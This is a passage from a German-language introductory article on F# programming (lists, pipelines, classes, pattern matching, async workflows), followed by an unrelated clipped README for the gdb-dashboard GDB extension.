Syntaxanforderungen der OCaml-Sprache wurden gelockert, und es wurden viele
Leerzeichen beim Definieren von Codeblöcken verwendet. Dies ist zwar nicht
erforderlich, erleichtert dem durchschnittlichen Entwickler mit C\#- oder
Visual Basic-Erfahrung aber das Analysieren der Syntax. Deshalb erscheint die
Syntax häufig in F\#-Beispielen und bereitgestellten Codeausschnitten und
stellt für die F\#-Programmierung schon beinahe einen Standard dar. \(In einer
zukünftigen Version von F\# ist \#light möglicherweise die Standardsyntax und
nicht umgekehrt.\)

Die unkompliziert erscheinende for-Schleife ist in Wirklichkeit alles andere
als einfach. Offiziell handelt es sich um eine generierte Liste, also
eigentlich um einen Codeblock, der als Ergebnis eine Liste erstellt.

Eine Liste ist ein primitives Konstrukt, das häufig in funktionalen Sprachen
gefunden wird. In dieser Hinsicht ähnelt es auf vielfache Weise einem Array.
Eine Liste erlaubt jedoch keinen positionsbasierten Zugriff \(wie z. B. die
traditionelle a\[i\]-Syntax in C\#\). Listen tauchen an verschiedenen Stellen
der funktionalen Programmierung auf. Sie können zum größten Teil als
F\#-Äquivalent zur .NET Framework-Liste<T> mit ein paar erweiterten Funktionen
verstanden werden.

Eine Liste ist immer ein bestimmter Typ. In diesem Fall liefert der Bezeichner
als Ergebnis eine Liste von Tupeln, insbesondere den Tupeltyp, der von F\# als
Typ \(int \* int\) identifiziert wird. Dieses Konzept wird Ihnen nicht fremd
sein, wenn Sie sich eine Liste mit Tupeln als ein Spaltenpaar vorstellen, das
von einer SELECT-Anweisung in SQL zurückgegeben wird. In dem Beispiel wird
daher im Grunde eine Liste von Ganzzahlpaaren erstellt, die 100 Elemente
enthält.

Normalerweise werden in funktionalen Sprachen Funktionsdefinitionen überall
dort verwendet, wo der eigentliche Code erscheinen kann. Wenn Sie nun das
vorherige Beispiel erweitern möchten, können Sie Folgendes schreiben:

[code]

    let compute2 x = (x, x*x)
    let compute3 x = (x, x*x, x*x*x)
    let results2 = [ for i in 0 .. 100 -> compute2 i ]
    let results3 = [ for i in 0 .. 100 -> compute3 i ]
    
[/code]

Die Vorstellung eines Schleifendurchlaufs durch eine Liste \(oder ein Array
oder ein anderes Konstrukt, das durchlaufen werden kann\) ist eine so häufige
Aufgabe in funktionalen Sprachen, dass sie als grundlegender Methodenaufruf
verallgemeinert wurde: List.iter. Es wird einfach eine Funktion für jedes
Element der Liste aufgerufen. Andere ähnliche Bibliotheksfunktionen bieten
nützliche Fähigkeiten. Zum Beispiel verwendet List.map eine Funktion als
Argument und wendet die Funktion auf jedes Element der Liste an. Dabei wird
eine neue Liste im Prozess zurückgegeben.

  

Die Pipeline

Es soll noch ein weiteres Konstrukt in F\# untersucht werden: der
Pipelineoperator. Er verwendet die Ergebnisse einer Funktion ähnlich wie Pipes
aus Befehlsshells \(wie Windows PowerShell®\) als Eingabe für eine
Folgefunktion. Betrachten Sie den Ausschnitt aus F\# in **Abbildung 2**.
Dieser Code verwendet den System.Net-Namespace, um eine Verbindung zu einem
HTTP-Server herzustellen, nimmt das entsprechende HTML auf und analysiert die
Ergebnisse.

<img src='img/Temp2_2548.gif' /> Figure 2 Abrufen und Analysieren von HTML

[code]

    /// Get the contents of the URL via a web request 
    let http(url: string) = 
      let req = System.Net.WebRequest.Create(url) 
      let resp = req.GetResponse() 
      let stream = resp.GetResponseStream() 
      let reader = new System.IO.StreamReader(stream) 
      let html = reader.ReadToEnd() 
      resp.Close() 
      html
    let getWords s = String.split [ ' '; '\n'; '\t'; '<'; '>'; '=' ] s 
    let getStats site = 
      let url = "http://" + site 
      let html = http url 
      let words = html |> getWords 
      let hrefs = html |> getWords |> List.filter (fun s -> s = "href") 
      (site,html.Length, words.Length, hrefs.Length)
    
    
[/code]

Beachten Sie den Wortbezeichner in der Definition von getStats. Er verwendet
den HTML-Wert aus der URL und wendet die getWords-Funktion auf ihn an. Ich
hätte die Definition auch folgendermaßen schreiben können:

[code]

    let words = getWords html
    
[/code]

Beide sind identisch. Der hrefs-Bezeichner zeigt jedoch die Leistung des
Pipelineoperators, sodass Sie eine willkürliche Anzahl von Anwendungen
aneinanderreihen können. In diesem Beispiel wird die Ergebnisliste der Wörter
auf die List.filter-Funktion übertragen, die mithilfe einer anonymen Funktion
nach dem Wort „href“ sucht und es zurückgibt, wenn der Ausdruck zutrifft.
Überdies stellen die Ergebnisse des getStats-Aufrufs ein anderes Tupel dar,
dieses Mal ein \(string \* int \* int \* int\). Um dies mit C\# zu schreiben,
werden weit mehr als 15 Codezeilen benötigt.

In dem Beispiel in **Abbildung 2** werden darüber hinaus weitere Aspekte der
Kompatibilität von F\# mit .NET Framework gezeigt. Dieses Thema setzt sich
hier fort:

[code]

    open System.Collections.Generic
    let capitals = Dictionary<string, string>()
    capitals.["Great Britain"] <- "London"
    capitals.["France"] <- "Paris"
    capitals.ContainsKey("France")
    
[/code]

Hierbei handelt es sich lediglich um das Ausführen des Dictionary<K,V>-Typs.
Es wird jedoch demonstriert, wie Generika in F\# spezifiziert werden
\(mithilfe von spitzen Klammern wie in C\#\), wie Indexer in F\# verwendet
werden \(mithilfe der eckigen Klammern wie in C\#\) und wie .NET-Methoden
ausgeführt werden \(mithilfe des „Punkts“ und der Klammern wie in C\#\). Das
einzig Neue ist die Zuweisung änderbarer Werte, wofür der Pfeil-nach-links-
Operator verwendet wird. Dies ist notwendig, weil F\#, wie die meisten
funktionalen Sprachen, die Verwendung des Gleichheitszeichens für den
Vergleich reserviert. Dies beruht auf dem mathematischen Verständnis, dass,
wenn x = y, x und y den gleichen Wert haben, statt dass x der Wert y
zugewiesen wird. \(Echte Mathematiker können sich über die Vorstellung
amüsieren, dass x = x + 1 in irgendeinem Universum, einem realen oder einem
Fantasieuniversum, wahr sein könnte\).

  

Erstellen von Objekten in F\#

Selbstverständlich sind nicht alle .NET-Entwickler, die neu bei F\# sind, von
der Vorstellung funktionaler Konzepte begeistert. Die meisten F\#-Entwickler
mit C\#- oder Visual Basic-Hintergrund möchten die Bestätigung erhalten, dass
sie in F\# ohne gravierende Auswirkungen alte Gewohnheiten pflegen können. In
einem gewissen Maß ist dies möglich.

Denken Sie zum Beispiel an die Klassendefinition für den zweidimensionalen
Vektor oben in **Abbildung 3**. Einige interessante Ideen entstehen daraus.
Beachten Sie zunächst, dass es keinen expliziten Konstruktortext gibt. Die
Parameter in der ersten Zeile zeigen die Parameter an, über die Benutzer
Vector2D-Instanzen erstellen, die hauptsächlich als Konstruktor dienen. Der
Längenbezeichner sowie die dx- und dy-Bezeichner werden innerhalb des
Vector2D-Typs zu privaten Elementen, während das member-Schlüsselwort auf
Member hinweist, die außerhalb von Vector2D über einen standardmäßigen .NET-
Eigenschaftenzugriff verfügbar sein sollten. Grundsätzlich deklariert dieser
F\#-Code das, was Sie am unteren Rand von **Abbildung 3** sehen \(wie von
Reflector gemeldet\).

<img src='img/Temp2_2548.gif' /> Figure 3 Vektorvarianten in F\# und C\#

[code]

                                                                **VECTOR2D IN F#**
    type Vector2D(dx:float,dy:float) = 
        let length = sqrt(dx*dx + dy*dy)
        member obj.Length = length
        member obj.DX = dx
        member obj.DY = dy
        member obj.Move(dx2,dy2) = Vector2D(dx+dx2,dy+dy2)
    
    **VECTOR2D IN C# (REFLECTOR>**
    [Serializable, CompilationMapping(SourceLevelConstruct.ObjectType)]
    public class Vector2D
    {
      // Fields
      internal double _dx@48;
      internal double _dy@48;
      internal double _length@49;
    
      // Methods
      public Vector2D(double dx, double dy)
      {
        Hello.Vector2D @this = this;
        @this._dx@48 = dx;
        @this._dy@48 = dy;
        double d = (@this._dx@48 * @this._dx@48) + 
                   (@this._dy@48 * @this._dy@48);
        @this._length@49 = Math.Sqrt(d);
      }
    
      public Hello.Vector2D Move(double dx2, double dy2)
      {
        return new Hello.Vector2D(this._dx@48 + dx2, this._dy@48 + dy2);
      }
    
      // Properties
      public double DX
      {
        get
        {
          return this._dx@48;
        }
      }
    
      public double DY
      {
        get
        {
          return this._dy@48;
        }
      }
    
      public double Length
      {
        get
        {
          return this._length@49;
        }
      }
    }
    
[/code]

Denken Sie daran, dass F\#, wie die meisten funktionalen Sprachen,
unveränderbare Werte und Status unterstützt. Dies ist leicht am Code in
**Abbildung 3** zu erkennen, da alle Eigenschaften schreibgeschützt sind. Der
Move-Member ändert nicht das vorhandene Vector2D, sondern erstellt stattdessen
aus dem aktuellen Vector2D ein neues und wendet die Änderungswerte vor der
Rückgabe darauf an.

Beachten Sie auch, dass die F\#-Version nicht nur vollständig threadsicher
ist, sondern in ihrer Gesamtheit über traditionellen C\#- oder Visual Basic-
Code zugänglich ist. Dadurch wird eine einfache Methode für den Einstieg in
F\# bereitgestellt: die Verwendung zum Definieren von Geschäftsobjekten oder
anderen Typen, die threadsicher und unveränderbar sein wollen oder müssen.
Während es sicherlich möglich ist, Typen in F\# zu erstellen, die den üblichen
Satz änderbarer Vorgänge bieten \(festgelegte Eigenschaften usw.\), ist der
Aufwand dabei höher und erfordert die Verwendung änderbarer Schlüsselwörter.
In einer Welt, in der gleichzeitige Abläufe zum Tagesgeschehen gehören,
entspricht dies genau den Anforderungen vieler Benutzer: standardmäßig
unveränderbar und bei Bedarf änderbar.

Das Erstellen von Typen in F\# ist interessant, aber es ist auch möglich, F\#
für die Aufgaben von traditionellem C\#- oder Visual Basic-Code zu verwenden,
wie das Erstellen einer einfachen Windows Forms-Anwendung und das Erfassen von
Benutzereingaben \(siehe **Abbildung 4**\).

<img src='img/Temp2_2548.gif' /> Figure 4 Windows Forms mit F\#

[code]

    #light
    
    open System
    open System.IO
    open System.Windows.Forms
    open Printf
    
    let form = new Form(Text="My First F# Form", Visible=true)
    
    let menu = form.Menu <- new MainMenu()
    let mnuFile = form.Menu.MenuItems.Add("&File")
    let filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"
    
    let mnuiOpen =
      new MenuItem("&Open...",
        new EventHandler(fun _ _ ->
          let dialog = 
            new OpenFileDialog(InitialDirectory="c:\\",
              Filter=filter;
              FilterIndex=2, 
              RestoreDirectory=true) 
            if dialog.ShowDialog() = DialogResult.OK then
              match dialog.OpenFile() with
              | null -> printf "Could not read the file...\n"
              | s ->
                let r = new StreamReader(s) 
                printf "First line is: %s!\n" (r.ReadLine());
                s.Close();
        ),
        Shortcut.CtrlO)
    
    mnuFile.MenuItems.Add(mnuiOpen)
    
    [<STAThread>]
    do Application.Run(form)
    
    
[/code]

Alle Entwickler, die mit Windows Forms vertraut sind, erkennen schnell die
folgenden Vorgänge: Ein einfaches Formular wird erstellt, einige Eigenschaften
werden aufgefüllt, ein Ereignishandler wird gefüllt, und die Anwendung erhält
die Anweisung, die Ausführung erst anzuhalten, wenn der Benutzer auf die
Schaltfläche „Close“ in der rechten oberen Ecke klickt. Standard für .NET-
Anwendungen, was es ermöglicht, sich ganz auf die F\#-Syntax zu konzentrieren.

Die open-Anweisung funktioniert auf ähnliche Weise wie eine using-Anweisung in
C\#, indem hauptsächlich ein .NET-Namespace für die Verwendung ohne formale
Qualifizierer geöffnet wird. Der Printf-Namespace ist ein F\#-Original, vom
technischen Standpunkt her ist er ein Port des OCaml-Moduls mit dem gleichen
Namen. F\# stimmt nicht nur mit der .NET Framework-Klassenbibliothek voll
überein, sondern bietet auch einen sehr einfachen Port von OCaml-Bibliotheken,
wodurch Programmierern, die mit dieser Sprache vertraut sind, der Einstieg in
.NET Framework erleichtert wird. \(Printf befindet sich übrigens innerhalb der
FSharp.Core.dll-Assembly.\) Ihnen steht die Verwendung von
System.Console.WriteLine frei, wenn Ihnen dies in ästhetischer Hinsicht
zusagt.

Beim Erstellen von Formularbezeichnern werden F\#-benannte Parameter
verwendet. Dies entspricht dem Instanziieren des Objekts und einer Reihe
anschließender Aufrufe von Eigenschaftsätzen, um die Eigenschaften mit Werten
zu füllen. Der einige Zeilen darunter erstellte Dialogbezeichner erfährt die
gleiche Behandlung.

Die Definition des mnuiOpen-Bezeichners enthält ein interessantes Konstrukt.
Entwicklern, die anonyme Delegaten aus .NET Framework 2.0 oder Lambda-
Ausdrücke aus .NET Framework 3.5 kennen, wird es bekannt vorkommen. In der mit
Open MenuItem verbundenen Konstruktion von EventHandler befindet sich eine
anonyme Funktion, die mithilfe der folgenden Syntax definiert wird:

[code]

    fun _ _ -> ...
    
[/code]

Wie bei anonymen Delegaten wird eine Funktion erstellt, die nach der Auswahl
des Menüelements aufgerufen wird. Jedoch ist die Syntax ein wenig kompliziert.

Die Definition des EventHandler-Abschnitts der MenuItem-Definition ist eine
anonyme Funktion, die die zwei übergebenen Parameter ignoriert. Diese
entsprechen genau den Sender- und Ereignisargumenten im standardmäßigen
EventHandler-Delegattyp. Die Funktion legt fest, dass ein neuer OpenFileDialog
angezeigt und beim Klicken auf „OK“ die Ergebnisse \(irgendwie\) untersucht
werden sollen:

[code]

    if dialog.ShowDialog() = DialogResult.OK then
        match dialog.OpenFile() with
        | null -> printf "Could not read the file...\n"
        | s ->
            let r = new StreamReader(s) in
            printf "First line is: %s!\n" (r.ReadLine());
            s.Close();
    
[/code]

Die Ergebnisse werden mithilfe des Mustervergleichs untersucht. Hierbei
handelt es sich um ein leistungsfähiges Feature aus der Welt der funktionalen
Sprachen. Auf den ersten Blick ähnelt der Mustervergleich einem switch/case
aus C\# und besitzt genau die Eigenschaften, die sein Name impliziert: Er
vergleicht einen Wert mit unterschiedlichen Mustern, von denen nicht alle
konstante Werte sein müssen, und führt den passenden Codeblock aus. Deshalb
wird beispielsweise in dem hier dargestellten entsprechenden Block das
Ergebnis von OpenFile in Bezug auf zwei mögliche Werte abgestimmt: Null
bedeutet, dass keine Datei geöffnet werden konnte, und „s“ bedeutet, dass ein
beliebiger Wert ungleich null zugewiesen und anschließend von StreamReader als
Konstruktor zum Öffnen und Lesen der ersten Zeile der jeweiligen Textdatei
verwendet wird.

Der Mustervergleich spielt in den meisten funktionalen Sprachen eine große
Rolle und soll daher hier erläutert werden. Am häufigsten wird er in
Verbindung mit einem besonderen union-Typ verwendet, der vage an einen
Aufzählungstyp aus C\# oder Visual Basic erinnert:

[code]

    // Declaration of the 'Expr' type
    type Expr = 
      | Binary   of string * Expr * Expr
      | Variable of string 
      | Constant of int
    
    // Create a value 'v' representing 'x + 10'
    let v = Binary("+", Variable "x", Constant 10)
    
[/code]

Er wird häufig in funktionalen Sprachen zum Erstellen zentraler Darstellungen
domänenspezifischer Sprachen verwendet, mit denen Entwickler kompliziertere
und leistungsfähigere Konstrukte schreiben können. Zum Beispiel könnte diese
Syntax erweitert werden, um eine vollständige Computersprache zu erstellen,
die problemlos erweitert werden kann, indem dem Expr-Typ neue Elemente
hinzugefügt werden. Beachten Sie jedoch Folgendes: Die Syntax mit dem
\*-Zeichen weist nicht auf eine Multiplikation hin, sondern steht für eine
Standardmethode funktionaler Sprachen zum Anzeigen eines Typs, der aus
mehreren Teilen besteht.

Funktionale Sprachen werden tatsächlich häufig zum Schreiben von
sprachorientierten Programmiertools wie Interpretern und Compilern verwendet.
Dabei wird der Expr-Typ schließlich zum vollständigen Satz an
Sprachausdruckstypen. In F\# wird dies noch einfacher. Hierfür werden zwei
Tools, fslex und fsyacc, eingefügt, die speziell für die Aufnahme
traditioneller Spracheingaben – lex- und yacc-Dateien – entworfen wurden.
Anschließend werden sie zur leichteren Bearbeitung in F\#-Code kompiliert.
Laden Sie bei Interesse das F\#-Installationsprogramm herunter, um diesen
Aspekt weiter zu untersuchen. Das Analysebeispiel im standardmäßigen F\#-Paket
bietet eine praktische grundlegende Struktur für den Einstieg.

Der spezielle union-Typ ist nur einer der Vorteile des Mustervergleichs. Der
zweite Vorteil besteht in der Ausführung von Ausdrücken, wie Sie in
**Abbildung 5** erkennen können. Das rec in der Definition von eval wird
benötigt, um dem F\#-Compiler mitzuteilen, dass eval rekursiv innerhalb des
Definitionstexts aufgerufen wird. Ohne rec erwartet F\# das Vorhandensein
einer lokalen, verschachtelten Funktion namens „eval“. Ich verwende die
getVarValue-Funktion für die Rückgabe einiger vordefinierter Werte für die
Variablen. In einer echten Anwendung würde getVarValue wahrscheinlich ein
Dictionary auf die zurückzugebenden Werte prüfen, wie es zum Zeitpunkt der
Erstellung der Variablen festgelegt wurde.

<img src='img/Temp2_2548.gif' /> Figure 5 Ausführung von Ausdrücken

[code]

    let getVarValue v =
        match v with
        | "x" -> 25
        | "y" -> 12
        | _ -> 0
    
    let rec eval x =
        match x with
        | Binary(op, l, r) ->
            let (lv, rv) = (eval l, eval r) in
            if   (op = "+") then lv + rv 
            elif (op = "-") then lv - rv 
            else failwith "E_UNSUPPORTED"
        | Variable(var) -> 
            getVarValue var
        | Constant(n) ->
            n
    
    do printf "Results = %d\n" (eval v)
    
    
[/code]

Beim Aufrufen von eval wird der Wert v erfasst, und es festgestellt, dass es
sich um einen Binärwert handelt. Dies wird mit dem ersten Unterausdruck
verglichen, der wiederum den Wert \(lv, rv\) an die evaluierten Ergebnisse der
linken und rechten Teile des soeben untersuchten Binärwerts bindet. Der
unbenannte Wert \(lv, rv\) ist ein Tupel. Dabei handelt es sich im Grunde um
einen einzelnen Wert aus mehreren Teilen, der mit einer relationalen Satz-
oder einem C struct vergleichbar ist.

Wenn eval l zum ersten Mal aufgerufen wird, ist l von der Binärinstanz ein
Variablentyp. Folglich wird der rekursive Aufruf von eval mit dem Zweig des
Mustervergleichsblocks verglichen. Dadurch wird wiederum getVarValue
aufgerufen, das ein hartcodiertes 25 zurückgibt, das letzten Endes an den Wert
lv gebunden wird. Die gleiche Sequenz wird für r ausgeführt, eine Konstante,
die den Wert 10 enthält und an rv gebunden wird. Dann wird der Rest des
Blocks, ein if/else-if/else-Block, ausgeführt. Er kann von einem Entwickler,
der mit C\#, Visual Basic oder C++ vertraut ist, leicht verstanden werden.

Am wichtigsten ist hier zu erkennen, dass wieder jeder Ausdruck einen Wert
zurückgibt, sogar innerhalb des Mustervergleichsblocks. In diesem Fall ist der
Rückgabewert ein Ganzzahlwert, und zwar entweder der Wert des Vorgangs, der
von der Variablen abgerufene Wert oder die Konstante selbst. Allein diese
Tatsache kann mehr als alles andere Entwickler aus dem Konzept bringen, die
eher an objektorientiertes oder imperatives Programmieren gewöhnt sind. Das
liegt daran, dass in C\#, Visual Basic oder C++ Rückgabewerte optional sind
und selbst dann ignoriert werden können, wenn sie angegeben werden. In
funktionalen Sprachen wie F\# wird für das Ignorieren eines Rückgabewerts ein
expliziter Codierausdruck benötigt. In solchen Fällen können Programmierer die
Ergebnisse in eine Funktion mit dem Namen „ignore“ eingeben, die genau das
tut, was ihr Name besagt.

  

Asynchrones F\#

Bisher hat die Darstellung der F\#-Syntax eine von zwei Formen angenommen:
Eine Form basiert auf relativ einfachen funktionalen Konstrukten. Die zweite
Form sieht wie eine seltsamere und kürzere Version traditioneller,
objektorientierter, .NET-kompatibler Sprachen \(C\#, Visual Basic oder C
++/CLI\) aus. Beide bieten kaum überzeugende Argumente für die Übernahme von
F\# im Unternehmen.

Betrachten Sie jedoch **Abbildung 6**. Diese Darstellung passt sicherlich in
keine der beiden beschriebenen Kategorien. Außer den \!-Zeichen, die an
einigen Stellen angezeigt werden, und der Verwendung des asynch-Modifizierers
sieht dies nach relativ einfachem Code aus: Laden einer Quellgrafikdatei,
Extrahieren seiner Daten, Übergabe der Daten an eine eigenständige Funktion
zur Bearbeitung \(z. B. Drehen oder Verzerren\) und Schreiben der Daten zurück
in eine Ausgabedatei.

<img src='img/Temp2_2548.gif' /> Figure 6 Ändern eines Bilds

[code]

    let TransformImage pixels i =
      // Some kind of graphic manipulation of images
    
    let ProcessImage(i) =
      async { use  inStream  = File.OpenRead(sprintf "source%d.jpg" i)
              let! pixels    = inStream.ReadAsync(1024*1024)
              let  pixels'   = TransformImage(pixels,i)
              use  outStream = File.OpenWrite(sprintf "result%d.jpg" i)
              do!  outStream.WriteAsync(pixels')
              do   Console.WriteLine "done!"  }
    
    let ProcessImages() =
      Async.Run (Async.Parallel 
                   [ for i in 1 .. numImages -> ProcessImage(i) ])
    
    
[/code]

Weniger deutlich zu erkennen ist die Tatsache, dass dieser Code aufgrund der
Verwendung des async-Modifizierers zu einem asynchronen Workflow in F\# wird
\(ohne Bezug zu Windows Workflow Foundation\). Das bedeutet, dass alle
Lade-/Verarbeitungs-/Speicherschritte auf parallelen Threads eines .NET-
Threadpools stattfinden.

Sehen Sie sich einfach den Code in **Abbildung 7** an. In dieser Sequenz
werden asynchrone Workflows leicht verständlich dargestellt. Bei evals handelt
es sich im Wesentlichen um ein Array auszuführender Funktionen. Sie befinden
sich in der Warteschlange im Threadpool zur Ausführung durch den
Async.Parallel-Aufruf. Während der Ausführung wird deutlich, dass sich die
Funktionen innerhalb von evals eigentlich auf einem anderen Thread als die
Funktion in awr befinden. \(Aufgrund der Beschaffenheit des .NET-
Systemthreadpools können einige oder alle evals-Funktionen auf dem gleichen
Thread ausgeführt werden.\)

<img src='img/Temp2_2548.gif' /> Figure 7 Asynchrones Ausführen von Funktionen

[code]

    #light
    open System.Threading
    
    let printWithThread str =
        printfn "[ThreadId = %d] %s" Thread.CurrentThread.ManagedThreadId str
        
    let evals =
        let z = 4.0
        [ async { do printWithThread "Computing z*z\n"
                  return z * z };
          async { do printWithThread "Computing sin(z)\n"
                  return (sin z) };
          async { do printWithThread "Computing log(z)\n"
                  return (log z) } ]
    
    let awr =
        async { let! vs = Async.Parallel evals
                do printWithThread "Computing v1+v2+v3\n"
                return (Array.fold_left (fun a b -> a + b) 0.0 vs) }
    
    let R = Async.Run awr
    printf "Result = %f\n" R
    
    
[/code]

Die Tatsache, dass sie aus dem .NET-Threadpool ausgeführt werden, zeigt
erneut, wie gut die F\#-Sprache Interoperabilität mit der zugrunde liegenden
Laufzeit unterstützt. Da eine Abhängigkeit von der .NET Framework-
Klassenbibliothek sogar in Bereichen besteht, die traditionell der
spezialisierten Implementierung \(wie z. B. Threading\) in funktionalen
Sprachen vorbehalten ist, können C\#-Programmierer F\#-Bibliotheken oder
-Module genauso nutzen, wie F\#-Entwickler C\#-Bibliotheken nutzen können. In
Zukunft werden F\#-Features wie asynchrone Aufgaben sogar neue .NET Framework-
Bibliotheken nutzen können, wie z. B. die Aufgabenverarbeitungsbibliothek in
der Bibliothek für parallele Erweiterungen.

  

Anpassung an F\#

Ich denke, es liegt auf der Hand, dass es noch viel mehr über die F\#-Sprache
zu sagen gäbe, als in diesem Artikel behandelt werden kann. Angesichts der
neuen Syntax und der vollständig neuen Denkweise \(funktional im Gegensatz zu
imperativ\) kann es einige Zeit dauern, bis ein durchschnittlicher
objektorientierter Entwickler, der an C\# oder Visual Basic gewöhnt ist, F\#
beherrscht. Glücklicherweise bleibt F\# vollständig interoperabel mit dem
übrigen .NET-Umfeld. Das bedeutet, dass Sie einen großen Teil Ihrer Kenntnisse
sowie viele vorhandene Tools nutzen können, um F\# in Ihr Programmierarsenal
zu integrieren.

F\#-Entwickler haben vollständigen Zugriff auf alle Foundation-Bibliotheken.
Da F\# zudem einige Aspekte von imperativer Entwicklung und Objektentwicklung
unterstützt, kann der interaktive Modus von F\# durchaus als Methode zum
Erlernen der F\#-Syntax sowie der Details von Windows Presentation Foundation,
Windows Communication Foundation oder Windows Workflow Foundation betrachtet
werden, ohne dass für das Kompilieren von Zyklen pausiert werden muss.

Wie bereits erwähnt, können Entwickler Geschäftsobjekte in F\# für die
Verwendung durch andere Teile ihres Anwendungscodes schreiben. Da das
F\#-Typkonstrukt Klassen erzeugt, die zum größten Teil mit ihren C\#- oder
Visual Basic-Entsprechungen identisch sind, werden Persistenzbibliotheken wie
NHibernate F\#-Typen ohne Problem beibehalten. Auf diese Weise wird eine
nahtlose Integration von F\# in funktionierende Geschäftsanwendungen
ermöglicht.

Schon allein das Erlernen von F\# wird Ihnen dabei helfen, viele Features und
zukünftige Versionen von C\# und Visual Basic zu verstehen, da viele dieser
Ideen und Konzepte – einschließlich Generika, Iteratoren \(das yield-
Schlüsselwort in C\#\) und LINQ – funktionale Wurzeln haben und außerdem die
Erforschung vom F\#-Team durchgeführt wurde. Ganz gleich, wie Sie es sehen,
die funktionale Programmierung existiert und wird bleiben.

  

**Ted Neward** ist ein unabhängiger Berater, der sich auf umfassende
Unternehmenssysteme spezialisiert hat. Er ist Autor und Mitautor verschiedener
Bücher, Microsoft MVP-Architekt, technischer Direktor bei BEA, Sprecher bei
INETA und Ausbilder bei Pluralsight. Sie erreichen Ted Neward über
ted@tedneward.com und seinen Blog unter blogs.tedneward.com besuchen.

# cyrus-and/gdb-dashboard

**Created:**| _9/14/2015 11:05:43 AM_  
---|---  
**Updated:**| _9/14/2015 11:05:43 AM_  
**Author:**| __  
**Tags:**| _Debugging_  
  
  

# GDB dashboard

Modular visual interface for GDB in Python.

This comes as a standalone single-file ` .gdbinit ` which, among the other
things, enables a configurable dashboard showing the most relevant information
during the program execution. Its main goal is to reduce the number of GDB
commands issued to inspect the current program status allowing the programmer
to focus on the control flow instead.

## Installation

Just place ` .gdbinit ` in your home directory, for example:

[code]

    normalwget -P ~ git.io/.gdbinit
    normal
[/code]

## Screenshot

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f4973587030524b2e706e67.png'
width='728' height='998' alt='Screenshot' />

## Features

  * Single GDB init file.
  * Interaction with GDB using the native Python API.
  * Several default modules are included to address the most basic needs: source code, assembly, registers, etc.\).
  * User-defined modules can be easily developed by extending a Python class.
  * Additional configuration files \(both GDB and Python\) are read from ` ~/.gdbinit.d/ `.
  * Fully stylable user interface and dynamic command prompt.
  * No GDB command has been redefined, instead all the features are available as subcommands of the main ` dashboard ` command.

## Minimal requirements

GDB dashboard requires at least GDB 7.7 compiled with Python 2.7 in order to
work properly.

See \#1 for more details/workarounds.

## Default modules

Follows the list of bundled default modules. Refer to the GDB help system for
the full syntax.

  * ` assembly ` shows the disassembled code surrounding the program counter. The instructions constituting the current statement are marked, if available.
  * ` history ` lists the last entries of the GDB value history.
  * ` memory ` allows to inspect memory regions.
  * ` registers ` shows the CPU registers and their values.
  * ` source ` shows the program source code, if available.
  * ` stack ` shows the current stack trace including the function name and the file location, if available. Optionally list the frame arguments and locals too.
  * ` threads ` lists the currently available threads.
  * ` expressions ` watches user expressions.

## Commands

The GDB documentation is available at ` help dashboard `. Just like any GDB
command, abbreviations are possible. Moreover, the alias ` db ` resolves to `
dashboard `.

### dashboard

This is the root command and it is used to manually redisplay the dashboard.

### dashboard -enabled \[on|off\]

Enable or disable the automatic display of the dashboard whenever the target
program stops. The dashboard is enabled by default and even when it is
disabled, it can be manually displayed with ` dashboard `.

### dashboard -layout \[` <directive> `...\]

By default, all the modules are enabled and placed within the dashboard in
alphabetical order. As the number of modules grows, it is important to decide
which modules will be part of the dashboard, and where.

Each directive is in the form ` [!]<module> `, when the ` ! ` is present then
the corresponding module is disabled by default. The order of directives
denotes the display order within the dashboard. For example:

[code]

    normaldashboard -layout source !assembly stack
    normal
[/code]

Modules which do not appear in the list are disabled and placed after the last
element in alphabetical order.

When executed without arguments, this command lists all the available modules.

### dashboard -style \[` <name> ` \[` <value> `\]\]

Access to the stylable attributes of the dashboard, see Stylable attributes.
For example, to change the prompt to something more familiar:

[code]

    normaldashboard -style prompt '(gdb)'
    normal
[/code]

The argument is parsed as a Python literal and converted to the proper type.

When only the name is specified this command shows the current value, whereas
without arguments prints all the attributes.

### Modules subcommands

Every module adds its own subcommand ` dashboard <module> ` which is used to
toggle the enable flag and to redisplay the dashboard.

Modules may also declare additional subcommands, see ` help dashboard <module>
` from GDB.

Moreover, if a module declare some stylable attributes then the command `
dashboard <module> -style ` will be available. Its functioning is equivalent
to the ` dashboard -style ` command but it does apply to a module.

## Configuration

Files in ` ~/.gdbinit.d/ ` are executed in alphabetical order, but the
preference is given to Python files. If there are subdirectories, they are
walked recursively. The idea is to keep separated the custom modules
definition from the configuration itself.

The main configuration file can be placed in ` ~/.gdbinit.d/ ` \(say `
~/.gdbinit.d/init `\) and should be used to tune the dashboard styles and
modules configuration but also the usual GDB parameters.

The alternative is to hard code changes in the provided ` .gdbinit `, to do so
just add new modules and GDB settings under ` # Default modules ` and ` #
Better GDB defaults ` respectively.

## Stylable attributes

There is number of attributes that can be used to customize the aspect of the
dashboard and of its modules. They are documented within the GDB help system.
For what concerns the dashboard itself it can be reached with:

[code]

    normalhelp dashboard -style
    normal
[/code]

Whereas for modules:

[code]

    normalhelp dashboard <module> -style
    normal
[/code]

### ANSI escape codes

Colors and text styles are specified using ANSI escape codes. For example
setting a style to ` 1;31 ` will produce ` ^[[1;31m `, which will result in
displaying the text red \(` 31 `\) and bright \(` 1 `\). The ansi output can
be disabled by setting the ` ansi ` attribute \(note that this will not affect
the command prompt\).

### Dividers

A divider is basically a terminal-wide horizontal line with an optional label.
Primary dividers are those used to separate the modules, whereas secondary
dividers may be used inside modules to logically separate different sections.
When a section or module is empty then the styles used for the divider are
those with the ` off ` qualifier.

### Common styles

These are general purpose ANSI styles defined for convenience and used within
the default modules.

  * ` style_selected_1 `
  * ` style_selected_2 `
  * ` style_low `
  * ` style_high `
  * ` style_error `

## Custom modules

The idea of custom modules is that they provide ways to access readonly
information from the the target program status; it is safe to assume that they
will be queried during the program execution only.

Custom modules must inherit the ` Dashboard.Module ` class and define some
methods:

  * ` label ` returns the module label which will appear in the divider.
  * ` lines ` return a list of strings which will form the module content. When a module is temporarily unable to produce its content, it should return an empty list; its divider will then use the styles with the ` off ` qualifier.

The name of a module is automatically obtained by the class name.

Modules are instantiated once at initialization time and kept during the whole
the GDB session.

Optionally, a module may include a description which will appear in the GDB
help system by specifying a Python docstring for the class.

Optionally, a module may define stylable attributes by defining the `
attributes ` method returning a dictionary in which the key is the attribute
name and the value is another dictionary:

  1. ` default ` is the initial value for this attribute.
  2. ` doc ` is the documentation of this attribute which will appear in the GDB help system. This key can be omitted.
